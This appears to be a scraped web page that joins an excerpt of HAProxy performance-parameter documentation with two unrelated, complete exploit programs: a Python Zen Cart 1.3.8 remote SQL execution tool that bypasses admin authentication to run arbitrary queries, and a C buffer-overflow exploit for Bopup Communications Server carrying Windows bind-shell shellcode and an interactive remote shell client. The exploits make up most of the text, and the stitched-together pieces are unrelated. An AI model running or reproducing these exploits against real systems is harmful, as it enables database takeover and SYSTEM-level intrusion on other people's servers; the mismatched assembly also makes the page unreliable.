Statistics are only available if compiled in with the ‘STATTIME’ option. It’s
only used during code optimization phases, and will soon disappear.

The ‘-st’ and ‘-sf’ options are used for hot reconfiguration.

HAProxy is a free, very fast and reliable solution offering high availability, load balancing, and proxying for TCP and HTTP-based applications. It is particularly suited for web sites crawling under very high loads while needing persistence or Layer7 processing

Performance Parameters of Haproxy:

maxconn <number>
  Sets the maximum per-process number of concurrent connections to <number>. It
  is equivalent to the command-line argument "-n". Proxies will stop accepting
  connections when this limit is reached. The "ulimit-n" parameter is
  automatically adjusted according to this value. See also "ulimit-n".

maxpipes <number>
  Sets the maximum per-process number of pipes to <number>. Currently, pipes
  are only used by kernel-based tcp splicing. Since a pipe contains two file
  descriptors, the "ulimit-n" value will be increased accordingly. The default
  value is maxconn/4, which seems to be more than enough for most heavy usages.
  The splice code dynamically allocates and releases pipes, and can fall back
  to standard copy, so setting this value too low may only impact performance.

noepoll
  Disables the use of the "epoll" event polling system on Linux. It is
  equivalent to the command-line argument "-de". The next polling system
  used will generally be "poll". See also "nosepoll", and "nopoll".

nokqueue
  Disables the use of the "kqueue" event polling system on BSD. It is
  equivalent to the command-line argument "-dk". The next polling system
  used will generally be "poll". See also "nopoll".

nopoll
  Disables the use of the "poll" event polling system. It is equivalent to the
  command-line argument "-dp". The next polling system used will be "select".
  It should never be needed to disable "poll" since it’s available on all
  platforms supported by HAProxy. See also "nosepoll", and "nopoll" and
  "nokqueue".

nosepoll
  Disables the use of the "speculative epoll" event polling system on Linux. It
  is equivalent to the command-line argument "-ds". The next polling system
  used will generally be "epoll". See also "nosepoll", and "nopoll".

nosplice
  Disables the use of kernel tcp splicing between sockets on Linux. It is
  equivalent to the command line argument "-dS".  Data will then be copied
  using conventional and more portable recv/send calls. Kernel tcp splicing is
  limited to some very recent instances of kernel 2.6. Most verstions between
  2.6.25 and 2.6.28 are buggy and will forward corrupted data, so they must not
  be used. This option makes it easier to globally disable kernel splicing in
  case of doubt. See also "option splice-auto", "option splice-request" and
  "option splice-response".

spread-checks <0..50, in percent>
  Sometimes it is desirable to avoid sending health checks to servers at exact
  intervals, for instance when many logical servers are located on the same
  physical server. With the help of this parameter, it becomes possible to add
  some randomness in the check interval between 0 and +/- 50%. A value between
  2 and 5 seems to show good results. The default value remains at 0.

tune.maxaccept <number>
  Sets the maximum number of consecutive accepts that a process may perform on
  a single wake up. High values give higher priority to high connection rates,
  while lower values give higher priority to already established connections.
  This value is limited to 100 by default in single process mode. However, in
  multi-process mode (nbproc > 1), it defaults to 8 so that when one process
  wakes up, it does not take all incoming connections for itself and leaves a
  part of them to other processes. Setting this value to -1 completely disables
  the limitation. It should normally not be needed to tweak this value.

tune.maxpollevents <number>
  Sets the maximum amount of events that can be processed at once in a call to
  the polling system. The default value is adapted to the operating system. It
  has been noticed that reducing it below 200 tends to slightly decrease
  latency at the expense of network bandwidth, and increasing it above 200
  tends to trade latency for slightly increased bandwidth.

#
# ——- Zen Cart 1.3.8 Remote SQL Execution
# http://www.zen-cart.com/
# Zen Cart Ecommerce – putting the dream of server rooting within reach of anyone!
# A new version (1.3.8a) is avaible on http://www.zen-cart.com/
#
# BlackH
#

#
# Notes: must have admin/sqlpatch.php enabled
#
# clean the database :
#    DELETE FROM `record_company_info` WHERE `record_company_id` = (SELECT `record_company_id` FROM `record_company` WHERE `record_company_image` = ‘8d317.php’ LIMIT 1);
#    DELETE FROM `record_company` WHERE `record_company_image` = ‘8d317.php’;

#!/usr/bin/python

import urllib, urllib2, re, sys

a,b = sys.argv,0

def option(name, need = 0):
    global a, b
    for param in sys.argv:
        if(param == ‘-’+name): return str(sys.argv[b+1])
        b = b + 1
    if(need):
        print ‘\n#error’, "-"+name, ‘parameter required’
        exit(1)

if (len(sys.argv) < 2):
    print """
=____________ Zen Cart 1.3.8 Remote SQL Execution Exploit  ____________=
========================================================================
|                  BlackH <Bl4ck.H@gmail.com>                          |
========================================================================
|                                                                      |
| $system> python """+sys.argv[0]+""" -url <url>                                 |
| Param: <url>      ex: http://victim.com/site (no slash)              |
|                                                                      |
| Note: blind "injection"                                              |
========================================================================
    """
    exit(1)
url, trick = option(‘url’, 1), "/password_forgotten.php"

while True:
    cmd = raw_input(’sql@jah$ ‘)
    if (cmd == "exit"): exit(1)
    req = urllib2.Request(url+"/admin/sqlpatch.php"+trick+"?action=execute", urllib.urlencode({‘query_string’ : cmd}))
    if (re.findall(‘1 statements processed’,urllib2.urlopen(req).read())):
        print ‘>> success (‘, cmd, ")"
    else:
        print ‘>> failed, be sure to end with ; (‘, cmd, ")"

/* bopup-down.c
*
* Copyright (c) 2008 by <mu-b@digit-labs.org>
*
* Bopup Communications Server remote SYSTEM exploit
* by mu-b – Sat Feb 08 2008
*
* – Tested on: Bopup Communications Server 3.2.26.5460 (Mar 18 2009)
*
* .text:00407A17 lea     eax, [ebp+pkt_0x19]
* .text:00407A1D push    eax
* .text:00407A1E lea     eax, [ebp+var_354]
* .text:00407A24 push    eax
* .text:00407A25 call    _strcpy
*
* note: this is updated over time for newer versions, I can’t be bothered
*       making it universal nor anything else…
*
*    – Private Source Code -DO NOT DISTRIBUTE –
* http://www.digit-labs.org/ — Digit-Labs 2008!@$!
*/

#include <stdio.h>
#include <stdlib.h>

#include <errno.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>

#define BUF_SIZE          2048
#define BOPUP_STR_OFFSET  0×19
#define BOPUP_STR_LEN     0×348+8

#define BOPUP_POPRET      0×00401DD5

#define NOP               0×41
#define PAD               0xCC

#define DEF_PORT          19810
#define PORT_BOPUP        DEF_PORT
#define PORT_SHELL        10000

static char win32_x86_bind[] =
  "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
  "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
  "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
  "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
  "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
  "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
  "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
  "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
  "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
  "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
  "\x66\x68\x27\x10\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
  "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
  "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
  "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
  "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
  "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
  "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
  "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
  "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
  "\x52\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0";

static int
sock_send (int fd, char *src, int len)
{
  int n;
  if ((n = send (fd, src, len, 0)) < 0)
    {
      fprintf (stderr, "sock_send: send() – %s\n", strerror (errno));
      exit (EXIT_FAILURE);
    }

  return (n);
}

static int
sock_recv (int fd, char *dst, int len)
{
  int n;
  if ((n = recv (fd, dst, len, 0)) < 0)
    {
      fprintf (stderr, "sock_recv: recv() – %s\n", strerror (errno));
      exit (EXIT_FAILURE);
    }

  return (n);
}

static void
shellami (int fd)
{
  int n;
  fd_set rset;
  char rbuf[1024];

  while (1)
    {
      FD_ZERO (&rset);
      FD_SET (fd, &rset);
      FD_SET (STDIN_FILENO, &rset);

      if (select (fd + 1, &rset, NULL, NULL, NULL) < 0)
        {
          fprintf (stderr, "shellami: select() – %s\n", strerror (errno));
          exit (EXIT_FAILURE);
        }

      if (FD_ISSET (fd, &rset))
        {
          if ((n = sock_recv (fd, rbuf, sizeof (rbuf) – 1)) <= 0)
            {
              fprintf (stderr, "shellami: connection closed by foreign host.\n");
              exit (EXIT_SUCCESS);
            }
          rbuf[n] = ”;
          printf ("%s", rbuf);
          fflush (stdout);
        }
      if (FD_ISSET (STDIN_FILENO, &rset))
        {
          if ((n = read (STDIN_FILENO, rbuf, sizeof (rbuf) – 1)) > 0)
            {
              rbuf[n] = ”;
              sock_send (fd, rbuf, n);
            }
        }
    }
}

static int
sockami (char *host, int port)
{
  struct sockaddr_in address;
  struct hostent *hp;
  int fd;

  if ((fd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
    {
      fprintf (stderr, "sockami: socket() – %s\n", strerror (errno));
      exit (EXIT_FAILURE);
    }

  if ((hp = gethostbyname (host)) == NULL)
    {
      fprintf (stderr, "sockami: gethostbyname() – %s\n", strerror (errno));
      exit (EXIT_FAILURE);
    }

  memset (&address, 0, sizeof (address));
  memcpy ((char *) &address.sin_addr, hp->h_addr, hp->h_length);
  address.sin_family = AF_INET;
  address.sin_port = htons (port);

  if (connect (fd, (struct sockaddr *) &address, sizeof (address)) < 0)
    {
      fprintf (stderr, "sockami: connect() – %s\n", strerror (errno));
      return (-1);
    }

  return (fd);
}

static void
zbuffami (char *zbuf)
{
  char *ptr, *j_ptr;

  ptr = zbuf;
  memcpy (ptr, "\x01\x00\x00\x00", sizeof (int));
  memset (ptr + sizeof (int), PAD, BOPUP_STR_OFFSET – sizeof (int));
  memset (ptr + BOPUP_STR_OFFSET, NOP, BOPUP_STR_LEN);

  ptr += BOPUP_STR_OFFSET + BOPUP_STR_LEN – 8;
  j_ptr = ptr – 32;
  memcpy (j_ptr – (sizeof (win32_x86_bind)) + 1, win32_x86_bind,
          sizeof (win32_x86_bind) – 1);

  *j_ptr++ = ‘\xe9′;
  *j_ptr++ = (-(sizeof (win32_x86_bind) – 1 + 5) & 0×000000ff);
  *j_ptr++ = (-(sizeof (win32_x86_bind) – 1 + 5) & 0×0000ff00) >> 8;
  *j_ptr++ = (-(sizeof (win32_x86_bind) – 1 + 5) & 0×00ff0000) >> 16;
  *j_ptr++ = (-(sizeof (win32_x86_bind) – 1 + 5) & 0xff000000) >> 24;

  *ptr++ = ‘\xeb’;
  *ptr++ = ‘\xde’;
  *ptr++ = 0×90;
  *ptr++ = 0×90;
  *(unsigned int *) ptr = BOPUP_POPRET;
}

int
main (int argc, char **argv)
{
  char zbuf[BUF_SIZE];
  int fd, n;

  printf ("Bopup Communications Server remote SYSTEM exploit\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ — Digit-Labs 2008!@$!\n\n");

  if (argc <= 1)
    {
      fprintf (stderr, "Usage: %s <host>\n", argv[0]);
      exit (EXIT_SUCCESS);
    }

  fd = sockami (argv[1], PORT_BOPUP);
  if (fd == -1)
    {
      fprintf (stderr, "%s: sockami failed\n", argv[0]);
      exit (EXIT_FAILURE);
    }

  printf ("* connected to %s:%d\n\n", argv[1], PORT_BOPUP);

  printf ("** SEH offset @+%04X\n", BOPUP_STR_OFFSET + BOPUP_STR_LEN – 8);
  printf ("** return addy @0x%08X\n\n", BOPUP_POPRET);

  printf ("* building buffer with shellcode…");
  zbuffami (zbuf);
  printf ("done\n");

  printf ("* sending request…");
  if ((n = sock_send (fd, zbuf, BOPUP_STR_OFFSET + BOPUP_STR_LEN)) != BOPUP_STR_OFFSET + BOPUP_STR_LEN)
    {
      fprintf (stderr, "%s: sock_send returned %d (!= %d)\n",
               argv[0], n, BOPUP_STR_OFFSET + BOPUP_STR_LEN);
      exit (EXIT_FAILURE);
    }
  printf ("done\n");
  close (fd);

  printf ("* waiting for the shellcode to be executed…\n");
  sleep (2);

  if ((fd = sockami (argv[1], PORT_SHELL)) != -1)
    {
      printf ("+Wh00t!\n\n");
      shellami (fd);
    }

  return (EXIT_SUCCESS);
}